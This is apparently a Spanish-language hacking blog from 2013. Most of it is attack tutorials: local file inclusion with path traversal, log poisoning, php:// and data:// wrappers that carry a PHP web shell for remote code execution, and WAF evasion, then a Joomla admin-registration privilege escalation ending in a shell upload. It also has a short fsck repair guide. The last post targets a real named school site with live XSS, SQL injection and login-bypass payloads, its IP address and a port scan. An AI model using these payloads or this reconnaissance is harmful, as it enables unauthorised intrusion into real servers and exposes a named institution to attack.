lunes, 25 de febrero de 2013

Local File Include (LFI)

¿Que es?

Lfi significa local file include y lo que hacemos en este tipo de vulnerabilidad es pedir un archivo local por medio de la url, esto se causa por que muchos programadores no filtran sus codigos, un ejemplo comun puede llegar a ser:

    


Este codigo lo que hace es mostrar la pagina que incluyamos por ejemplo: menu.php index.php etc...
Sabiendo eso podemos formar un dork, por ejemplo:
inurl: index.php?pagina=menu.php

inurl significa buscar en url lo siguiente ...
puedes usar google como bing o diferentes buscadores muchos arrojan diferentes resultados....

Ahora sabemos que la LFI es causada por no filtrar bien las funciones include() require() require_once() include_once()


Como explotarla

entonces como ejemplo tenemos algo asi:


pagina.com/index.php?pagina=publications.php

con esto muchas veces podemos saber que la variable pagina es vulnerable debido a que esta incluyendo un archivo sin filtrarlo .... que pasa si ponemos lo siguiente:

pagina.com/index.php?pagina=publications.phpASDASDASD

como no es encontrada el archivo requerido arroja un error, muchas veces no lo arroja esto es por que muchos tienen desactivado error reporting pero igual es probable poder inyectar este tipo de vulnerabilidad

bueno siguiendo con el ejemplo anterior nos arrojaria algo asi:
como vemos tenemos dos directorios antes del archivo index.php es decir /homes-www/mercadier si recuerdas en linux puedes hacer cd .. y recorres un directorio atras... pues es lo que haremos escalar directorios para atras....

digamos quiero coger el archivo /etc/passwd de esa web seria: ../../etc/passwd es decir me recorro las dos carpetas despues de index y luego entro a /etc/passwd querdaria asi:

pagina.com/index.php?pagina=../../etc/passwd

esto me mostraria el archivo passwd que contiene los usuarios,ids,grupo,terminales,contraseña

muchas veces la contraseña lo tapa con x entonces para ello sabemos que se encuntran en un archivo llamado shadow que se encuentra en el mismo directorio /etc/shadow muchas veces ese archivo no se puede acceder a el por que es necesario privilegios de usuario como root por ejemplo....



tambien podemos escalar cosas diferentes como son... /proc/cpuinfo que nos ofrece informacion del cpu o los logs de apache para eso hay que ver los directorios puede haber muchos dependiendo del servidor como este instalado por ejemplo en mi caso tengo xampp en localhost seria de esta manera:

http://localhost/php/lfi.php?pagina=/opt/lampp/logs/access_log



Ahora como ves no se encuentra muchas cosas pero estos los son los accesos a las webs, imaginate que en los logs se muestre algo como la cabecera user-agent es decir el navegador entonces podriamos inyectar con un sniffer de http como live https headers o tamper data e infectar los logs por ejemplo, modificar esa cabecera user-agent y poner un codigo php para mostrar un phpinfo() y veriamos en los logs la informacion del php esto seria infectar los logs....tambien se pueden infectar logs por /proc/self/environ pero muchas veces no se muestra... veremos como infectar logs para darnos RCE (remote code execution :D )

Infectando logs por medio de /proc/self/fd

Bueno este es un nuevo agregado a este tutorial que es infectar logs por medio de /proc/self/fd y asi obtener RCE (remote command execution) :D
Para empezar utilizare burp suite por que simplemente me carga mas rapido que el firefox que como son archivos largos puede llegar a colgarse.... empecemos haciendo una peticion del archivo /proc/self/environ a una web vulnerable a LFI...


bueno entonces intentemos con algo como /proc/self/cmdline o /proc/self/stat o /proc/self/status

con cmdline devuelve la linea de comandos si hago una poc(proof of concept) en mi pc sale bash y si hago una poc(proff of concept) en la web sale php con esto sabemos que su cmdline en este caso es el proceso php

stat y status nos devuelve el estado con su pid en el primer caso y en el segundo con size y mas informacion adicional :D


Ahora el /proc/self/fd = Este es un subdirectorio que contiene una entrada para cada archivo que tiene abierto el proceso, nombrada con el descriptor de fichero, y que es un enlace simbólico al archivo real. Por lo tanto, 0 es la entrada estándar, salida estándar 1, 2 error estándar, etc

para mas informacion sobre proc

bueno en este caso queremos encontrar la entrada del archivo del proceso abierto y como no sabemos usaremos bruteforce intentando hasta encontrar el archivo correcto....

Les dejo una wordlist aunque ustedes pueden crear una para esto o para cualquier cosa como blindsqli, bruteforce http etc burp es una gran suite :D

/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35

no enseñare como configurar el burp suite ya que solo es una proxy y la puedes configurar desde el navegador para atrapar la web pero si explicare como hacer para atacar con el wordlist :D

tenemos nuestro Host a vulnerable a LFI y lo mandamos a intruder seria algo asi: Click derecho o action > Send to intruder
en intruder seleccionamos positions y damos un clear$ que seria limpiar y luego agregamos (add$) la ruta a escalar, ejemplo:


luego configuramos el payload agregamos el archivo wordlist desde load... y lo seleccionamos lo tienen arriba solo lo guardan como txt xD, despues de eso en el menu de arriba clickeamos intruder>start attack


buscamos una entrada relacionada con la web que estamos y dice que tenemos un error al pedir el archivo favicon.ico
entonces en repeater hago una peticion a /favicon.ico y pongo una cabecera referer inyectando el codigo malicioso por ejemplo




por ultimo hacemos de nuevo una peticion al archivo donde encontramos esos registros.... /proc/self/fd/numeroqueobtuvistes



Nuestro amigo Psymera comenta algo de un codigo con un path que seria asi:




donde upload seria nuestra carpeta aunque seria lo mismo nos saldria un error con lo cual tendriamos que escalar las carpetas del servidor incluyendo tambien la carpeta upload.... un ejemplo de este error seria:

por lo que solo seria escalar dos carpetas mas despues del FPD (Full path disclousure)  que seria: ../../../../../../etc/passwd y entonces:




Este tipo de webs lo tome de un exploit de un cms que encontro Daniel Godoy...


 tambien podriamos con php://filter hacer un enlace para obtener un recurso por ejemplo obtener el index de una web por medio de un LFI, por ejemplo:

pagina.com/index.php?pagina=php://filter/read=convert.base64-encode/resource=index.php



esto nos mostraria el codigo del archivo index.php convertido a base64 con lo cual solo lo decodificariamos....


y con seguir buscando dentro del codigo podiamos encontrar un require() include() o un SQLI u otras vulnerabilidades, en este caso fue la base de datos :D



Otro ejemplo es usar data:// para obtener datos por medio de cabeceras de content-type por ejemplo seria hacer esto:

pagina.com/index.php?pagina=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==&cmd=ls



ese base64 es un archivo php con una funcion system() pidiendo todo lo que se inque con cmd

por ultimo tambien puedes usar php://input para ingresar una shell en los datos por post pidiendo asi comandos


esa herramienta de arriba es la hackbar puedes descargar un manual en este mismo blog

Incluso por XSPA puedes obtener un lfi:


Evasion de WAF's
Muchas veces los WAF (Web Application Firewall) detectan una ataque LFI respondiendo con otro tipo de codigo de estado que el normal -->200 OK como puede ser 403 Forbidden,501 No implementado,etc
Para ello usamos NULL BYTES que seria algo vacio esta encodeado en urlencode, en este caso no tengo casos de ejemplo pero puedo mostrar como se conformaria este tipo de urls:

pagina.com/lfi.php?pagina=/etc/passwd
Otra manera seria encodear la barra (/) que seria %2F
pagina.com/lfi.php?pagina=%2Fetc%2Fpasswd

bueno estas solo son dos si saben mas avisen y agrego, para estos casos es solo imaginar como evadir el firewall de una aplicacion web

Como evitar un ataque LFI

podriamos usar condicionales en el codigo.... en este caso un switch dependiendo del numero de pagina incluidas y por defecto incluir una pagina si se pide otra cosa....





Correciones

Bueno antes que nada me he equivocado en algunas partes y quiero compartilas y agradecer a Dedalo, Psymera ,Q3rv0 si alguien encuentra otro error en el tuto diganme y le hago un edit o si se saben otro metodo aparte de este tambien diganlo y le agregamos ....

Correcion 1: En el codigo de solucion tenia un include todavia en ves del switch <-- corregido
Correcion 2: Para el Wrapper php://input es necesario tener activado allow_url_include = On esto se puede modificar desde php.ini o .htaccess
Correcion 3: Para el Wrapper data:// es necesario tener activado allow_url_include y allow_url_fopen por lo que no serviria en este caso de LFI sino seria para RFI
Correcion 4: El codigo que comenta Psymera que es para RFI pero tambien viene en muchos LFI por lo que solamente incluire un pequeño ejemplo de lo que el comenta en el tuto


Bueno he terminado espero que les haya gustado he mostrado algunos metodos con los que pudiesen obtener datos importantes o obtener incluso una shell... salu2

Reparar una memoria solo lectura en linux

Muchas veces tienes una memoria que no puedes meter datos es por que esta en modo solo lectura y solo puedes leerlo para eso es necesario reparar la memoria para este fin utilizaremos un par de comandos de linux en la terminal estos son:

df = muestra el uso del disco duro y otras informaciones como el punto de montaje y sistemas de archivos

entonces hacemos un df en la terminal:


antes que nada para que este comando funcione en tu memoria deberias haberla tenido montada anteriormente (con abrirla se monta :P), para que hacemos esto para saber el sistema de ficheros mas que nada y volveremos a desmontar la memoria

umount = Desmonta un  disco/dispositivo

en nuestro caso nuestra memoria se llama BLACKBERRY para desmostarla lo tenemos que hacer como usuario con privilegios root para ello usaremos sudo...

sudo umount Montado en


fsck = Estado del disco/dispositivo, su parametro -r modo interactivo, espera nuestra respuesta y -p reparacion automatica (sin hacer preguntas)
Entonces para repararla necesitaremos tener permisos root usaremos sudo el comando seria asi:

sudo fsck -r S.ficheros <--- con esta opcion hace preguntas entonces te pediria seleccionar opcion de si eliminas o no un archivo si lo renombras o no etc...

sudo fsck -p S.ficheros <--- con esta opcion es automaticamente no te pregunta nada


En este caso utilize el modo pregunta y listo selecciono la opcion 1,2,3,4,5,6 segun me convenga pero si no quieren hacer este embrollo usen la opcion -p y listo, espero que este minituto les sea de utilidad a muchos.

sábado, 23 de febrero de 2013

Escalar privilegios joomla 1.6.x 1.7.x 2.5.0-2.5.2

Con escalar privilegios me refiero a que cambias el id del usuario editando el html de la web en el registro de esta manera puedes logearte como administrador.

Puedes usar este dork: site:dominio index.php?option=com_users&view=registration

bueno empezaremos para saber la version de joomla solo vemos el codigo fuente y podremos ver la version pero tambien existe otras formas como lo son los scripts para detectar vulnerabilidades en este cms. Un ejemplo:

Como vemos es una version 1.6 y puede ser vulnerada

Para poder editar el html necesitaremos algun plugin como firebug
aunque algunos navegadores ya incluyen los suyos propios como en este ejemplo chrome

en este ejemplo editaremos el html y en el form donde su accion es registrar pondremos
 <input value="7" name="jform[groups][]" />

con esto indicaremos que value 7 seria el id del usuario admin y jform el grupo entonces estamos indicando que sea de el grupo administrativo.


ahora editamos el html dando click derecho en edit as html (editar como html)
e incluimos el vector de arriba


llenamos todos los campos pero nos equivocamos concientemente en el campos password es decir los escribimos diferentes. Por ejemplo:

name: test
username: test
password: test <--- password correcta
confirm password: test123 <---- confirmacion incorrecta
email address: test@yopmail.com
confirm email address: test@yopmail.com

y damos click en register
como ven nos envia un mensaje donde las passwords no coinciden, entonces ahora ponemos las passwords de manera correcta y damos click en register



nos envia un mensaje que dice que activemos nuestra cuenta revisando el email
nos tiene que enviar a un link como el siguiente: /index.php?option=com_users&view=registration&layout=complete

Vemos el email y le damos click al link para activar la cuenta:


nos enviara un mensaje diciendo que nuestra cuenta ha sido activada:

con esto podemos logearnos en el panel de admin recuerda usar los robots.txt

entramos a la pagina del login del administrador y ponemos los datos con los que nos registramos

y listo tenemos nuestro panel de administrador es cuestion de subir shell y explotar mas desde dentro :P

espero les guste el tuto solo explico como se usa un exploit pero hay muchisimos en la red y demasiadas webs de seguridad salu2

lunes, 11 de febrero de 2013

Encontrando vulnerabilidades web en conalepsin

Bueno amigos este dia me puse al pedo para traer un par de vulnerabilidades ya que no he estado escribiendo ultimamente y pues ahora que tengo tiempo he de escribir este articulo de un par de vulnerabilidades en conalepsin un portal de aca de sinaloa donde es un centro de estudio siendo asi no deberia haber tantas vulnerabilidades xD....

empecemos por cross site scripting:



Vector: <ScRiPt >prompt(930295)</ScRiPt>

Iss directory enumeration

 http://conalepsin.edu.mx/cms/

muestra los nombres de todos los planteles

Pagina de configuracion
hubiera sido bueno si mostrara las configuraciones, parece ser que es cuando creas una pagina con frontpage :P

http://conalepsin.edu.mx/_vti_inf.html

Un CSRF que no sirve mas que para buscar xD

http://conalepsin.edu.mx/cms/content.asp?company=0&proc=search&procid=hi

Permite diferentes metodos en las cabeceras

OPTIONS, TRACE, GET, HEAD

se salvo de un method put xD

Ohhh pero que es esto? alguien ya estuvo aqui :O

http://conalepsin.edu.mx/cms/database/
http://conalepsin.edu.mx/cms/upload/
http://conalepsin.edu.mx/cms/images/
http://conalepsin.edu.mx/cms/scripts/
http://conalepsin.edu.mx/cms/editor/

muestrame los robots :D

http://conalepsin.edu.mx/robots.txt

y por ultimo tenemos una bonita bsqli

http://conalepsin.edu.mx/cms/content.asp?company=0&proc=news&procid=1' or '38'='39

encontre un par de tablas y columnas nada importantes xD

Bypass Login
http://conalepsin.edu.mx/apps/chekt/Default.aspx
'or 0=0--

Informacion sobre el servidor:

Microsoft-IIS/6.0
Windows
[ASP.NET]
IP:  201.134.74.35
Base de datos:MSAccess
contiene archivos: asp,swf,js,txt

Footprinting:
PORT     STATE    SERVICE        VERSION
21/tcp   open     ftp
25/tcp   filtered smtp
53/tcp   open     domain         Mikrotik RouterOS named or OpenDNS Updater
80/tcp   open     http           Microsoft IIS httpd 6.0
110/tcp  open     pop3           Merak Mail server pop3d 8.0.3
1433/tcp open     ms-sql-s       Microsoft SQL Server 2000 8.00.766; SP3a
1723/tcp open     pptp?
2000/tcp open     bandwidth-test Mikrotik bandwidth-test server
3128/tcp filtered squid-http
3389/tcp open     ms-wbt-server  Microsoft Terminal Service
5190/tcp filtered aol
8291/tcp open     unknown
9999/tcp open     abyss?